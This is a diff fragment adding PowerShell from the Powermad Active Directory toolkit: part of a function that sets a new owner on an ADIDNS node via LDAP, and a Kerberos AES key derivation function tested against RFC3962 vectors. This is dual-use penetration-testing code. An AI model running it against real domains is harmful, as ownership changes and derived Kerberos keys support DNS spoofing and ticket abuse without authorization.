+ { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $account = New-Object System.Security.Principal.NTAccount($Principal) + $directory_entry.PsBase.ObjectSecurity.setowner($account) + $directory_entry.PsBase.CommitChanges() + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +#endregion + +#region begin Miscellaneous Functions + +function Get-KerberosAESKey +{ + <# + .SYNOPSIS + Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The + results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. + + https://tools.ietf.org/html/rfc3962 + https://msdn.microsoft.com/library/cc233855.aspx + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Password + [String] Valid password. + + .PARAMETER Salt + [String] Concatenated string containing the realm and username/hostname. + AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) + AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase + realm (e.g., TEST.LOCALhostwks1.test.local) + + .PARAMETER Iteration + [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the + default of 4096. + + .PARAMETER OutputType + [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. + AES128Byte and AES256Byte will output byte arrays. + + .EXAMPLE + Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 + Verify results against first RFC3962 sample test vectors in section B. + + .EXAMPLE + Get-KerberosAESKey -Salt TEST.LOCALuser + Generate keys for a valid AD user. + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$true)][String]$Salt, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", + [parameter(Mandatory=$false)][Int]$Iteration=4096 + ) + + if(!$Password) + { + $password = Read-Host -Prompt "Enter password" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) + [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) + $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 + $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 + $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) + $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) + $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] + $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" + $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" + Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" + Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::None + $AES.IV = $IV + # AES 256 + $AES.KeySize = 256 + $AES.Key = $PBKDF2_AES256_key + $AES_encryptor = $AES.CreateEncryptor() + $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) + $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) + $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] + $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" + # AES 128 + $AES.KeySize = 128 + $AES.Key = $PBKDF2_AES128_key + $AES_encryptor = $AES.CreateEncryptor() + $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) + $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" + Remove-Variable password_cleartext + + switch($OutputType) + { + + 'AES' + { + Write-Output "AES128 Key: $AES128_key_string" + Write-Output "AES256 Key: $AES256_key_string" + } + + 'AES128' + { + Write-Output "$AES128_key_string" + } + + 'AES256' + { + Write-Output "$AES256_key_string" + } + + 'AES128ByteArray' + { + Write-Output $AES128_key + } + + 'AES256ByteArray' + { + Write-Output $AES256_key + } + + } + +} + +#endregion \ No newline at end of file